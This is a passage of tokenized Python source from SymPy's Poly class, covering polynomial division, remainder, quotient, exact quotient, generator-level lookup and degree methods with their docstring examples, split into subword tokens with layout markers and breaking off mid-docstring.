"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u_", ",_", "per_", ",_", "F_", ",_", "G_", "=_", "f_", "._", "\\u", "unify", "_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "pex", "quo", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "F_", "._", "pex", "quo", "_", "(_", "G_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exa", "ct", "Qu", "oti", "ent", "Failed_", "as_", "exc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "new_", "(_", "f_", "._", "as", "\\u", "expr_", "(_", ")_", ",_", "g_", "._", "as", "\\u", "expr_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "pex", "quo", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "div_", "(_", "f_", ",_", "g_", ",_", "auto_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Polynomial", " ", "divisi", "on", " ", "with", " ", "remainder", " ", "of", " ", "``", "f", "``", " ", "by", " ", "``", "g", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ").", "div", "(", "Poly", "(", "2", "*", "x", " ", "-", " ", "4", ",", " ", "x", "))\\", "10", ";", " ", " ", " ", " ", "(", "Poly", "(", "1", "/", "2", "*", "x", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "QQ", "')", ",", " ", "Poly", "(", "5", ",", " ", "x", ",", " ", "domain", "='", "QQ", "'))", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ").", "div", "(", "Poly", "(", "2", "*", "x", " ", "-", " ", "4", ",", " ", "x", "),", " ", "auto", "=", "Fal", "se", ")", "\\", "10", ";", " ", " ", " ", " ", "(", "Poly", "(", "0", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", ",", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "'))", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dom_", ",_", "per_", ",_", "F_", ",_", "G_", "=_", "f_", "._", "\\u", "unify", "_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "retra", "ct_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "auto_", "and_", "dom_", "._", "has", "\\u", "Ring_", "and_", "not_", "dom_", "._", "has", "\\u", "Field_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "F_", ",_", "G_", "=_", "F_", "._", "to", "\\u", "field_", "(_", ")_", ",_", "G_", "._", "to", "\\u", "field_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "retra", "ct_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "div", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "q_", ",_", "r_", "=_", "F_", "._", "div_", "(_", "G_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "div", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "retra", "ct_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Q_", ",_", "R_", "=_", "q_", "._", "to", "\\u", "ring_", "(_", ")_", ",_", "r_", "._", "to", "\\u", "ring_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Coe", "rci", "on", "Failed_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "q_", ",_", "r_", "=_", "Q_", ",_", "R_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "per_", "(_", "q_", ")_", ",_", "per_", "(_", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "rem_", "(_", "f_", ",_", "g_", ",_", "auto_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Compute", "s", " ", "the", " ", "polynomial", " ", "remainder", " ", "of", " ", "``", "f", "``", " ", "by", " ", "``", "g", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ").", "rem", "(", "Poly", "(", "2", "*", "x", " ", "-", " ", "4", ",", " ", "x", "))\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "5", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ").", "rem", "(", "Poly", "(", "2", "*", "x", " ", "-", " ", "4", ",", " ", "x", "),", " ", "auto", "=", "Fal", "se", ")", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dom_", ",_", "per_", ",_", "F_", ",_", "G_", "=_", "f_", "._", "\\u", "unify", "_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "retra", "ct_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "auto_", "and_", "dom_", "._", "has", "\\u", "Ring_", "and_", "not_", "dom_", "._", "has", "\\u", "Field_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "F_", ",_", "G_", "=_", "F_", "._", "to", "\\u", "field_", "(_", ")_", ",_", "G_", "._", "to", "\\u", "field_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "retra", "ct_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "rem", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "F_", "._", "rem_", "(_", "G_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "rem", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "retra", "ct_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "r_", "._", "to", "\\u", "ring_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Coe", "rci", "on", "Failed_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "per_", "(_", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "quo", "_", "(_", "f_", ",_", "g_", ",_", "auto_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Compute", "s", " ", "polynomial", " ", "quot", "ient", " ", "of", " ", "``", "f", "``", " ", "by", " ", "``", "g", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ").", "quo", "(", "Poly", "(", "2", "*", "x", " ", "-", " ", "4", ",", " ", "x", "))\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "1", "/", "2", "*", "x", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "QQ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "-", " ", "1", ",", " ", "x", ").", "quo", "(", "Poly", "(", "x", " ", "-", " ", "1", ",", " ", "x", "))\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dom_", ",_", "per_", ",_", "F_", ",_", "G_", "=_", "f_", "._", "\\u", "unify", "_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "retra", "ct_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "auto_", "and_", "dom_", "._", "has", "\\u", "Ring_", "and_", "not_", "dom_", "._", "has", "\\u", "Field_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "F_", ",_", "G_", "=_", "F_", "._", "to", "\\u", "field_", "(_", ")_", ",_", "G_", "._", "to", "\\u", "field_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "retra", "ct_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "quo", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "q_", "=_", "F_", "._", "quo", "_", "(_", "G_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "quo", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "retra", "ct_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "q_", "=_", "q_", "._", "to", "\\u", "ring_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Coe", "rci", "on", "Failed_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "per_", "(_", "q_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "ex", "quo", "_", "(_", "f_", ",_", "g_", ",_", "auto_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Compute", "s", " ", "polynomial", " ", "exact", " ", "quot", "ient", " ", "of", " ", "``", "f", "``", " ", "by", " ", "``", "g", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "-", " ", "1", ",", " ", "x", ").", "ex", "quo", "(", "Poly", "(", "x", " ", "-", " ", "1", ",", " ", "x", "))\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ").", "ex", "quo", "(", "Poly", "(", "2", "*", "x", " ", "-", " ", "4", ",", " ", "x", "))\\", "10", ";", " ", " ", " ", " ", "Trace", "back", " ", "(", "most", " ", "recent", " ", "call", " ", "last", "):", "\\", "10", ";", " ", " ", " ", " ", "...", "\\", "10", ";", " ", " ", " ", " ", "Exa", "ct", "Qu", "oti", "ent", "Fail", "ed", ":", " ", "2", "*", "x", " ", "-", " ", "4", " ", "doe", "s", " ", "not", " ", "divide", " ", "x", "**", "2", " ", "+", " ", "1", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dom_", ",_", "per_", ",_", "F_", ",_", "G_", "=_", "f_", "._", "\\u", "unify", "_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "retra", "ct_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "auto_", "and_", "dom_", "._", "has", "\\u", "Ring_", "and_", "not_", "dom_", "._", "has", "\\u", "Field_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "F_", ",_", "G_", "=_", "F_", "._", "to", "\\u", "field_", "(_", ")_", ",_", "G_", "._", "to", "\\u", "field_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "retra", "ct_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "ex", "quo", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "q_", "=_", "F_", "._", "ex", "quo", "_", "(_", "G_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exa", "ct", "Qu", "oti", "ent", "Failed_", "as_", "exc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "new_", "(_", "f_", "._", "as", "\\u", "expr_", "(_", ")_", ",_", "g_", "._", "as", "\\u", "expr_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "ex", "quo", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "retra", "ct_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "q_", "=_", "q_", "._", "to", "\\u", "ring_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Coe", "rci", "on", "Failed_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "per_", "(_", "q_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "gen", "\\u", "to", "\\u", "level_", "(_", "f_", ",_", "gen_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", "s", " ", "level", " ", "associate", "d", " ", "with", " ", "the", " ", "give", "n", " ", "generat", "or", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "gen_", ",_", "int_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "length_", "=_", "len_", "(_", "f_", "._", "gens_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "-_", "length_", "<=_", "gen_", "<_", "length_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "gen_", "<_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "length_", "+_", "gen_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "gen_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Polynomial", "Error_", "(_", "\"-", "%", "s", " ", "<=", " ", "gen", " ", "<", " ", "%", "s", " ", "expected", ",", " ", "got", " ", "%", "s", "\"_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "length_", ",_", "length_", ",_", "gen_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "f_", "._", "gens_", "._", "index_", "(_", "symp", "ify_", "(_", "gen_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Polynomial", "Error_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "a", " ", "valid", " ", "generat", "or", " ", "expected", ",", " ", "got", " ", "%", "s", "\"_", "%_", "gen_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "degree_", "(_", "f_", ",_", "gen_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "degr", "ee", " ", "of", " ", "``", "f", "``", " ", "in", " ", "``", "x", "\\u", "j", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "degr", "ee", " ", "of", " ", "0", " ", "is", " ", "negati", "ve", " ", "infinity", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", ",", " ", "y", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "y", "*", "x", " ", "+", " ", "1", ",", " ", "x", ",", " ", "y", ").", "degr", "ee", "()", "\\", "10", ";", " ", " ", " ", " ", "2", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "y", "*", "x", " ", "+", " ", "y", ",", " ", "x", ",", " ", "y", ").", "degr", "ee", "(", "y", ")", "\\", "10", ";", " ", " ", " ", " ", "1", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "0", ",", " ", "x", ").", "degr", "ee", "()", "\\", "10", ";", " ", " ", " ", " ", "-", "oo", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "j_", "=_", "f_", "._", "\\u", "gen", "\\u", "to", "\\u", "level_", "(_", "gen_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "degr", "ee", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "f_", "._", "rep_", "._", "degree_", "(_", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "degr", "ee", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "degr", "ee", "\\u", "list_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "a", " ", "list", " ", "of", " ", "degr", "ees", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", ",", " ", "y", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "y", "*", "x", " ", "+", " ", "1", ",", " ", "x", ",", " ", "y", ").", "degr", "ee", "\\u", "list", "()", "\\", "10", ";", " ", " ", " ", " ", "(", "2", ",", " ", "1", ")", "\\", "10", ";", 